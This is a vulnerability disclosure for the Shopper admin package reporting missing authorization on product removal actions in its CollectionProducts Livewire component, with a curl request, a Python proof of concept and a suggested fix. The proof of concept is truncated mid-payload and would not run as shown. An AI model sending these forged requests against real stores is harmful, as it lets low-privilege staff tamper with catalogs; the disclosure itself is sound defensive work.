Shopper: Missing authorization on product removal actions in CollectionProducts component

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]

        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callBulkAction',
            'params': ['delete', product_ids],
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked]                          // prevent client-side ID substitution
public Collection $collection;

// Per-record action:
Action::make('delete')
    ->authorize('edit_collections')  // add this
    ->action(function (Product $record): void {
        $this->collection->products()->detach([$record->id]);
        // ...
    }),

// Bulk action:
DeleteBulkAction::make()
    ->authorize('edit_collections')  // add this
    ->action(function (EloquentCollection $records): void {
        $this->collection->products()->detach($records->pluck('id')->toArray());
        // ...
    })
